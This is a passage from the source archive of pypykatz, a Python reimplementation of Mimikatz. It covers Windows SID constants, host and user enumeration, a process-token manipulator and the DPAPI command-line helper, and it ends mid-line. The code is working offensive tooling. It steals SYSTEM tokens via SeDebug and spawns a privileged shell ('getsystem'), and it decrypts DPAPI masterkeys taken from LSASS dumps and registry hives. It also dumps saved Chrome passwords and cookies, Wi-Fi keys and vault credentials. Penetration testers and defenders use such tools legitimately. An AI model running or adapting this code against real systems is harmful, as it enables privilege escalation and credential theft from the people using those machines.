SID.from_string('S-1-5-32-562', True), 'IIS_IUSRS' : SID.from_string('S-1-5-32-568', True), 'CRYPTOGRAPHIC_OPERATORS' : SID.from_string('S-1-5-32-569', True), 'EVENT_LOG_READERS' : SID.from_string('S-1-5-32-573', True), 'CERTIFICATE_SERVICE_DCOM_ACCESS' : SID.from_string('S-1-5-32-574', True), 'RDS_REMOTE_ACCESS_SERVERS' : SID.from_string('S-1-5-32-575', True), 'RDS_ENDPOINT_SERVERS' : SID.from_string('S-1-5-32-576', True), 'RDS_MANAGEMENT_SERVERS' : SID.from_string('S-1-5-32-577', True), 'HYPER_V_ADMINS' : SID.from_string('S-1-5-32-578', True), 'ACCESS_CONTROL_ASSISTANCE_OPS' : SID.from_string('S-1-5-32-579', True), 'REMOTE_MANAGEMENT_USERS' : SID.from_string('S-1-5-32-580', True), 'WRITE_RESTRICTED_CODE' : SID.from_string('S-1-5-33', True), 'NTLM_AUTHENTICATION' : SID.from_string('S-1-5-64-10', True), 'SCHANNEL_AUTHENTICATION' : SID.from_string('S-1-5-64-14', True), 'DIGEST_AUTHENTICATION' : SID.from_string('S-1-5-64-21', True), 'THIS_ORGANIZATION_CERTIFICATE' : SID.from_string('S-1-5-65-1', True), 'NT_SERVICE' : SID.from_string('S-1-5-80', True), 'USER_MODE_DRIVERS' : SID.from_string('S-1-5-84-0-0-0-0-0', True), 'LOCAL_ACCOUNT' : SID.from_string('S-1-5-113', True), 'LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP' : SID.from_string('S-1-5-114', True), 'OTHER_ORGANIZATION' : SID.from_string('S-1-5-1000', True), 'ALL_APP_PACKAGES' : SID.from_string('S-1-15-2-1', True), 'ML_UNTRUSTED' : SID.from_string('S-1-16-0', True), 'ML_LOW' : SID.from_string('S-1-16-4096', True), 'ML_MEDIUM' : SID.from_string('S-1-16-8192', True), 'ML_MEDIUM_PLUS' : SID.from_string('S-1-16-8448', True), 'ML_HIGH' : SID.from_string('S-1-16-12288', True), 'ML_SYSTEM' : SID.from_string('S-1-16-16384', True), 'ML_PROTECTED_PROCESS' : SID.from_string('S-1-16-20480', True), 'ML_SECURE_PROCESS' : SID.from_string('S-1-16-28672', True), 'AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY' : SID.from_string('S-1-18-1', True), 'SERVICE_ASSERTED_IDENTITY' : SID.from_string('S-1-18-2', True), 'FRESH_PUBLIC_KEY_IDENTITY' : SID.from_string('S-1-18-3', True), 'KEY_TRUST_IDENTITY' : SID.from_string('S-1-18-4', True), 'KEY_PROPERTY_MFA' : SID.from_string('S-1-18-5', True), 'KEY_PROPERTY_ATTESTATION' : SID.from_string('S-1-18-6', True), } ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/machine.py0000664000175000017500000001053214543266630021672 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import platform from pypykatz import logger import winreg from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI from pypykatz.commons.winapi.constants import * from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive from pypykatz.commons.winapi.local.function_defs.advapi32 import SC_MANAGER_ENUMERATE_SERVICE class User: def __init__(self, name, domain, sid): self.username = name self.domain = domain self.sid = sid def __str__(self): return '%s:%s:%s' % (str(self.domain), str(self.username), str(self.sid)) class LiveMachine: """ """ def __init__(self, api = None): self.api = api if api is not None else LocalWindowsAPI() self.domain = None self.hostname = None def get_hostname(self): if self.hostname is None: params = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters') self.hostname = winreg.QueryValueEx(params, 'NV Hostname')[0] return self.hostname def get_domain(self): if self.domain is None: params = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters') self.domain = winreg.QueryValueEx(params, 'Domain')[0] return self.domain def get_current_user(self): pid = self.api.kernel32.GetCurrentProcessId() proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS) ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle) sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid) name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid) return User(name, domain, sid_str) def list_users(self): logger.debug('Listing SIDs from registry...') software_hive = LiveRegistryHive('SOFTWARE') users = {} for sid_str in software_hive.enum_key('Microsoft\\Windows NT\\CurrentVersion\\ProfileList'): if sid_str.endswith('_Classes') or sid_str.startswith('.'): continue ptr_sid = self.api.advapi32.ConvertStringSidToSid(sid_str.encode()) name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid) users[sid_str] = User(name, domain, sid_str) return users #def list_services(self): # logger.debug('Listing services...') # hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) # for serviceattr in self.api.advapi32.EnumServicesStatus(hsrvmgr): # print(serviceattr.lpServiceName) # print(serviceattr.lpDisplayName) # print(serviceattr.ServiceStatus.dwServiceType) # # # status = '' # if serviceattr.ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING: # status = 'PENDING' # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING: # status = 'PENDINGPAUSE' # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSED: # status = 'PAUSED' # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_RUNNING: # status = 'RUNNING' # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_START_PENDING: # status = 'PENDINGSTART' # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING: # status = 'PENDINGSTOP' # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOPPED: # status = 'STOPPED' # # print(status) def list_services_pid(self): logger.debug('Listing services with pid...') hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): if serviceattr.ServiceStatusProcess.dwProcessId == 0: continue yield serviceattr.ServiceStatusProcess.dwProcessId def list_services(self): logger.debug('Listing services with pid...') hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): if serviceattr.ServiceStatusProcess.dwProcessId == 0: continue yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId def list_all_pids(self): for pid in self.api.psapi.EnumProcesses(): if pid == 0: continue yield pid if __name__ == '__main__': u = LiveMachine() t = u.list_services() #for srv in t: # print(str(t[sid])) #t = u.get_current_user() #print(str(t))././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/processmanipulator.py0000664000175000017500000001704314543266630024224 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import platform from pypykatz import logger from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI from pypykatz.commons.winapi.constants import * class TokenInfo: def __init__(self, pid, domain, username, sid, token_type): self.pid = pid self.domain = domain self.username = username self.sid = sid self.token_type = token_type def __str__(self): return '%s:%s:%s:%s:%s' % (self.pid,self.domain,self.username,self.sid,self.token_type) class ProcessManipulator: """ High level class to adjust privileges and manipulate tokens TODO: Currently only working with the current process, doesn't do remote processes! TODO: ther ways to get system, eg. creating a service that will launch the new app? like p s e x e c """ def __init__(self, pid = None, api = None): self.pid = pid self.api = api if api is not None else LocalWindowsAPI() def set_privilege(self, privilige_id, thread_or_process = False): """ Sets a given privilege """ logger.debug('[ProcessManipulator] Setting %s privilege' % privilige_id) return self.api.ntdll.RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = thread_or_process) def drop_privilege(self, privilige_id, thread_or_process = False): """ Drops the given privilege """ logger.debug('[ProcessManipulator] Dropping %s privilege' % privilige_id) self.api.ntdll.RtlAdjustPrivilege(privilige_id, enable = False, thread_or_process = thread_or_process) def list_privileges(self): """ Lists all available privileges for the current user """ pass def list_all_tokens(self, force = False): """ iterates trough all available processes, fetches all process tokens, gets user information for all tokens """ logger.debug('[ProcessManipulator] Listing all tokens...') try: res = self.set_privilege(SE_DEBUG) except Exception as e: if force is False: logger.error('Failed to obtain SE_DEBUG privilege!') raise e else: pass token_infos = [] for pid in self.api.psapi.EnumProcesses(): proc_handle = None try: proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) logger.log(1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid)) except Exception as e: logger.log(1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e))) continue else: token_handle = None try: token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS) except Exception as e: logger.log(1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e))) continue else: ti = self.get_token_info(token_handle, pid) token_infos.append(ti) finally: if token_handle is not None: self.api.kernel32.CloseHandle(token_handle) finally: if proc_handle is not None: self.api.kernel32.CloseHandle(proc_handle) return token_infos def get_current_token_info(self): proc_handle = None try: pid = self.api.kernel32.GetCurrentProcessId() proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) except Exception as e: raise e else: try: token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS) return self.get_token_info(token_handle, pid) except Exception as e: raise e finally: if token_handle is not None: self.api.kernel32.CloseHandle(token_handle) finally: if proc_handle is not None: self.api.kernel32.CloseHandle(proc_handle) def get_token_info(self, token_handle, pid): ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle) sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid) name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid) return TokenInfo(pid, domain, name, sid_str, token_type) def get_token_for_sid(self, target_sid = 'S-1-5-18', dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = SecurityImpersonation): """ iterates trough all available processes, fetches all process tokens, checks if sid matches for token, duplicates it and yields them also leaks a lot of handles, probably should be cleaned up TODO """ #LookupAccountSidA try: self.set_privilege(SE_DEBUG) except Exception as e: logger.error('Failed to obtain SE_DEBUG privilege!') raise e token_infos = [] for pid in self.api.psapi.EnumProcesses(): proc_handle = None try: proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) logger.log(1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid)) except Exception as e: logger.log(1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e))) continue else: token_handle = None try: token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS) except Exception as e: logger.log(1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e))) continue else: ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle) sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid) if sid_str == target_sid: logger.debug('[ProcessManipulator] Found token with target sid!') cloned_token = self.api.advapi32.DuplicateTokenEx( token_handle, dwDesiredAccess = dwDesiredAccess, ImpersonationLevel = ImpersonationLevel, TokenType = TokenType ) yield cloned_token finally: if token_handle is not None: self.api.kernel32.CloseHandle(token_handle) finally: if proc_handle is not None: self.api.kernel32.CloseHandle(proc_handle) return token_infos def assign_token_thread_sid(self, target_sid = 'S-1-5-18'): """ assigns the token to the thread specified by threadid, if threadid is none then it will use the current thread """ for token in self.get_token_for_sid(target_sid = target_sid, dwDesiredAccess = TOKEN_QUERY | TOKEN_IMPERSONATE, ImpersonationLevel = SecurityDelegation, TokenType = TokenImpersonation): logger.debug('[ProcessManipulator] Setting token to current thread...') try: self.api.advapi32.SetThreadToken(token) except Exception as e: logger.log(1, 'Failed changing the thread token. Reason: %s' % e) continue else: logger.debug('[ProcessManipulator] Sucsessfully set token to current thread!') break def create_process_for_sid(self, target_sid = 'S-1-5-18', cmdline = 'C:\\Windows\\system32\\cmd.exe', interactive = True): """ Creates a new process with the token of the target SID TODO: implement non-interactive functionality :( """ for token in self.get_token_for_sid(target_sid = target_sid, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = TokenImpersonation): try: self.api.advapi32.CreateProcessWithToken_manip(token, cmdline) except Exception as e: logger.log(1, 'Failed creating process with the token obtained. Reason: %s' % e) continue else: logger.debug('[ProcessManipulator] Sucsessfully created process!') break def getsystem(self): self.assign_token_thread_sid('S-1-5-18') def dropsystem(self): self.api.advapi32.RevertToSelf() if __name__ == '__main__': pm = ProcessManipulator() #pm.set_privilege(10) #for ti in pm.list_all_tokens(): # print(str(ti)) #pm.create_process_for_sid() #pm.assign_token_thread_sid() ti = pm.get_current_token_info() print(str(ti)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/debugfile.py0000664000175000017500000000425014543266630017252 0ustar00webdevwebdev import sys import traceback import asyncio from pypykatz.pypykatz import pypykatz from pypykatz.apypykatz import apypykatz class DebugFile: def __init__(self, filename): self.filename = filename self.fh = open(self.filename, 'rb') self.reads = [] self.total_read = 0 def read(self, n = -1): #print('READ %s' % n) self.reads.append((self.fh.tell(), n)) self.total_read += n #if n > 1024*40: # print('READ %s' % n) # traceback.print_stack() # input() return self.fh.read(n) def seek(self, n, whence = 0): #print('SEEK %s %s' % (n, whence)) return self.fh.seek(n, whence) def tell(self): return self.fh.tell() class ADebugFile: def __init__(self, filename): self.filename = filename self.fh = open(self.filename, 'rb') self.reads = [] self.total_read = 0 async def read(self, n = -1): #print('READ %s' % n) self.reads.append((self.fh.tell(), n)) self.total_read += n #if n > 1024*40: # print('READ %s' % n) # traceback.print_stack() # input() return self.fh.read(n) async def seek(self, n, whence = 0): #print('SEEK %s %s' % (n, whence)) return self.fh.seek(n, whence) def tell(self): return self.fh.tell() async def amain(): for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]: f = ADebugFile(sys.argv[1]) mimi = await apypykatz.parse_minidump_external(f, chunksize=chk, packages=['all']) res = sorted(f.reads, key=lambda x: x[0]) i = 0 for pos, n in res: #print('READ: %s %s' % (pos, n)) if n < 1024: i += 1 print('chk : %s' % chk) print('reads: %s' % len(f.reads)) print('small reads: %s' % i) print('total reads: %s' % (f.total_read)) print('') print('DONE!') def main(): for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]: f = DebugFile(sys.argv[1]) mimi = pypykatz.parse_minidump_external(f, chunksize=chk, packages=['all']) res = sorted(f.reads, key=lambda x: x[0]) i = 0 for pos, n in res: #print('READ: %s %s' % (pos, n)) if n < 1024: i += 1 print('chk : %s' % chk) print('reads: %s' % len(f.reads)) print('small reads: %s' % i) print('total reads: %s' % (f.total_read)) print('') print('DONE!') if __name__ == '__main__': #main() asyncio.run(amain())././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/dpapi/0000775000175000017500000000000014647211624016044 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/__init__.py0000664000175000017500000000000014543266630020145 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721569118.0 pypykatz-0.6.10/pypykatz/dpapi/cmdhelper.py0000664000175000017500000005130014647207536020367 0ustar00webdevwebdevfrom pypykatz.commons.common import UniversalEncoder, hexdump import argparse import json import platform from pypykatz.dpapi.structures.blob import DPAPI_BLOB from pypykatz.dpapi.structures.credentialfile import CredentialFile from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile from pypykatz.dpapi.structures.vault import VAULT_VPOL from pypykatz.dpapi.finders.registry import RegFinder from winacl.dtyp.wcee.pvkfile import PVKFile class DPAPICMDHelper: def __init__(self): self.live_keywords = ['dpapi'] self.keywords = ['dpapi'] def add_args(self, parser, live_parser): live_subcommand_parser = argparse.ArgumentParser(add_help=False) live_dpapi_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome') live_dpapi_subparsers.required = True live_dpapi_subparsers.dest = 'livedpapicommand' live_keys_parser = live_dpapi_subparsers.add_parser('keys', help = '[ADMIN ONLY] Dump all local DPAPI related keys. Aggressively. Recommended: use file output. !This takes a while!') live_keys_parser.add_argument('--method', choices = ['lsass', 'registry', 'all'], default = 'all', help= 'Where to look for the keys') live_keys_parser.add_argument('-o', '--outfile', help= 'Output file base name') live_vpol_parser = live_dpapi_subparsers.add_parser('vpol', help = 'Decrypting VPOL file with current user context') live_vpol_parser.add_argument('vpolfile', help= 'VPOL file to decrypt') live_vcred_parser = live_dpapi_subparsers.add_parser('vcred', help = 'Decrypt VCRED') live_vcred_parser.add_argument('vpolfile', help= 'VPOL file to use to decrypt the VCRED file') live_vcred_parser.add_argument('vcredfile', help= 'VCRED file to decrypt') live_cred_parser = live_dpapi_subparsers.add_parser('cred', help = 'Decrypt CRED file') live_cred_parser.add_argument('credfile', help= 'CRED file to decrypt') live_blob_parser = live_dpapi_subparsers.add_parser('blob', help = 'Decrypt raw dpapi blob hex') live_blob_parser.add_argument('blob', help= 'blob string in hex format') live_securestring_parser = live_dpapi_subparsers.add_parser('securestring', help = 'Decrypt securestring hex') live_securestring_parser.add_argument('securestring', help= 'securestring in hex format') live_blobfile_parser = live_dpapi_subparsers.add_parser('blobfile', help = '') live_blobfile_parser.add_argument('blobfile', help= 'Decrypt raw dpapi blob in file') live_securestringfile_parser = live_dpapi_subparsers.add_parser('securestringfile', help = '') live_securestringfile_parser.add_argument('securestringfile', help= 'Decrypt securestring from file') live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords') live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.') live_tcap_parser = live_dpapi_subparsers.add_parser('tcap', help = '[ADMIN ONLY] Obtains users stored DPAPI creds via SeTrustedCredmanAccessPrivilege') live_tcap_parser.add_argument('targetpid', type=int, help= 'PID of the process of the target user.') live_tcap_parser.add_argument('--source', default = 'winlogon.exe', help= 'A process that has SeTrustedCredmanAccessPrivilege') live_tcap_parser.add_argument('--tempfile', help= 'PID of the process of the target user') live_tcap_parser.add_argument('-o', '--outfile', help= 'Output file name') live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser]) #offline prekey_subcommand_parser = argparse.ArgumentParser(add_help=False) dpapi_prekey_subparsers = prekey_subcommand_parser.add_subparsers(help = 'prekey_command') dpapi_prekey_subparsers.required = True dpapi_prekey_subparsers.dest = 'prekey_command' prekey_passwd = dpapi_prekey_subparsers.add_parser('password', help = 'Generate prekeys from password') prekey_passwd.add_argument('sid', help='SID of the user') prekey_passwd.add_argument('password', help='Password of the user') prekey_passwd.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') prekey_nt = dpapi_prekey_subparsers.add_parser('nt', help = 'Generate prekeys from NT hash') prekey_nt.add_argument('sid', help='SID of the user') prekey_nt.add_argument('nthash', help='NT hash of the user') prekey_nt.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') prekey_sha1 = dpapi_prekey_subparsers.add_parser('sha1', help = 'Generate prekeys from SHA1 hash') prekey_sha1.add_argument('sid', help='SID of the user') prekey_sha1.add_argument('sha1hash', help='SHA1 hash of the user') prekey_sha1.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') prekey_registry = dpapi_prekey_subparsers.add_parser('registry', help = 'Generate prekeys from registry secrets') prekey_registry.add_argument('system', help='SYSTEM hive') prekey_registry.add_argument('sam', help='SAM hive') prekey_registry.add_argument('security', help='SECURITY hive') prekey_registry.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') dpapi_group = parser.add_parser('dpapi', help='DPAPI (offline) related commands') dpapi_subparsers = dpapi_group.add_subparsers() dpapi_subparsers.required = True dpapi_subparsers.dest = 'dapi_module' dpapi_subparsers.add_parser('prekey', help = 'Prekey generation', parents=[prekey_subcommand_parser]) dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys and prekeys from minidump file') dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') dpapi_preferredkey_group = dpapi_subparsers.add_parser('preferredkey', help='Get preferred masterkey GUID') dpapi_preferredkey_group.add_argument('preferredkeyfile', help='path to preferred masterkey file') dpapi_masterkey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') dpapi_masterkey_group.add_argument('masterkeyfile', help='path to masterkey file') dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates') dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') dpapi_masterkeypvk_group = dpapi_subparsers.add_parser('masterkeypvk', help='Decrypt masterkey file with PVK file') dpapi_masterkeypvk_group.add_argument('masterkeyfile', help='path to masterkey file') dpapi_masterkeypvk_group.add_argument('pvkfile', help= 'Path to prekey file, which has multiple decryption key candidates') dpapi_masterkeypvk_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') dpapi_credential_group.add_argument('cred', help='path to credential file') dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') dpapi_vcred_group.add_argument('vcred', help='path to vcred file') dpapi_vcred_group.add_argument('--vpolkey', nargs='+', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') dpapi_vpol_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') dpapi_vpol_group.add_argument('vpol', help='path to vpol file') dpapi_securestring_group = dpapi_subparsers.add_parser('securestring', help='Decrypt securestring') dpapi_securestring_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') dpapi_securestring_group.add_argument('securestring', help='path to securestring file (hex data expected!), or the securestring in hex form') dpapi_blob_group = dpapi_subparsers.add_parser('blob', help='Decrypt blob') dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form') dpapi_chrome_group = dpapi_subparsers.add_parser('chrome', help='Decrypt Google Chrome secrets') dpapi_chrome_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') dpapi_chrome_group.add_argument('localstate', help='Local State file') dpapi_chrome_group.add_argument('--logindata', help='Login Data file') dpapi_chrome_group.add_argument('--cookies', help='Cookies file') dpapi_chrome_group.add_argument('--json', action='store_true', help='Print in JSON format') dpapi_wifi_group = dpapi_subparsers.add_parser('wifi', help='Decrypt Windows WIFI config file') dpapi_wifi_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') dpapi_wifi_group.add_argument('wifixml', help='WIFI config XML file') dpapi_describe_group = dpapi_subparsers.add_parser('describe', help='Print information on given structure') dpapi_describe_group.add_argument('datatype', choices = ['blob', 'masterkey', 'pvk', 'vpol', 'credential'], help= 'Type of structure') dpapi_describe_group.add_argument('data', help='filepath or hex-encoded data') dpapi_cloudapkd_group = dpapi_subparsers.add_parser('cloudapkd', help='Decrypt KeyValue structure from CloudAPK') dpapi_cloudapkd_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') dpapi_cloudapkd_group.add_argument('keyvalue', help='KeyValue string obtained from PRT') dpapi_winhellopin_group = dpapi_subparsers.add_parser('winhellopin', help='Get winhello hash') dpapi_winhellopin_group.add_argument('mkd', help= 'Directory path for all machine masterkeys. Usually: C:\\System32\\Microsoft\\Protect\\S-1-5-18\\User') dpapi_winhellopin_group.add_argument('regdir', help= 'Directory path for all registry hives. Usually: C:\\System32\\config\\. SAM, SYSTEM, SECURITY hives needed') dpapi_winhellopin_group.add_argument('ngcdir', help= 'Directory path of NGC folder. Usually: C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Ngc\\') dpapi_winhellopin_group.add_argument('cryptokeys', help= 'Directory path of cryptokeys folder. Usually: C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\') def execute(self, args): if len(self.keywords) > 0 and args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def run(self, args): from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.prekey_command == 'registry': if args.system is None: raise Exception('SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.prekey_command == 'password': if args.sid is None: raise Exception('SID must be specified for generating prekey in this mode') pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password = pw) elif args.prekey_command == 'nt': if args.nthash is None or args.sid is None: raise Exception('NT hash and SID must be specified for generating prekey in this mode') dpapi.get_prekeys_from_password(args.sid, nt_hash=args.nthash) elif args.prekey_command == 'sha1': if args.sha1hash is None or args.sid is None: raise Exception('SHA1 hash and SID must be specified for generating prekey in this mode') dpapi.get_prekeys_from_password(args.sid, sha1_hash=args.sha1hash) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception('minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) if args.out_file is not None: dpapi.dump_pre_keys(args.out_file + '_prekeys') else: dpapi.dump_pre_keys() elif args.dapi_module == 'preferredkey': dpapi.dump_preferred_masterkey_guid(args.preferredkeyfile) elif args.dapi_module == 'masterkey': if args.prekey is None: raise Exception('Etieher KEY or path to prekey file must be supplied!') dpapi.load_prekeys(args.prekey) dpapi.decrypt_masterkey_file(args.masterkeyfile) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'masterkeypvk': dpapi.decrypt_masterkey_file_with_pvk(args.masterkeyfile, args.pvkfile) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'cloudapkd': dpapi.load_masterkeys(args.mkf) plain = dpapi.decrypt_cloudap_key(args.keyvalue) print('Clear key: %s' % plain.hex()) elif args.dapi_module == 'credential': dpapi.load_masterkeys(args.mkf) cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': dpapi.load_masterkeys(args.mkf) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None or len(args.vpolkey) == 0: raise Exception('VPOL key bust be specified!') dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey] res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.dapi_module == 'securestring': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.securestring) except Exception as e: print('Error! %s' %e) dec_sec = dpapi.decrypt_securestring_file(args.securestring) else: dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.dapi_module == 'blob': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.blob) except Exception as e: print('Error! %s' %e) dec_sec = dpapi.decrypt_securestring_file(args.blob) else: dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.dapi_module == 'chrome': dpapi.load_masterkeys(args.mkf) db_paths = {} db_paths['pypykatz'] = {} db_paths['pypykatz']['localstate'] = args.localstate if args.cookies is not None: db_paths['pypykatz']['cookies'] = args.cookies if args.logindata is not None: db_paths['pypykatz']['logindata'] = args.logindata res = dpapi.decrypt_all_chrome(db_paths, throw=False) for file_path, url, user, password in res['logins']: if args.json: print(json.dumps(dict(type='login', file=file_path, url=url, user=user, password=password.decode()), cls=UniversalEncoder)) else: print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) for file_path, host_key, name, path, value in res['cookies']: if args.json: print(json.dumps(dict(type='cookie', file=file_path, domain=host_key, name=name, path=path, value=value.decode()), cls=UniversalEncoder)) else: print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, 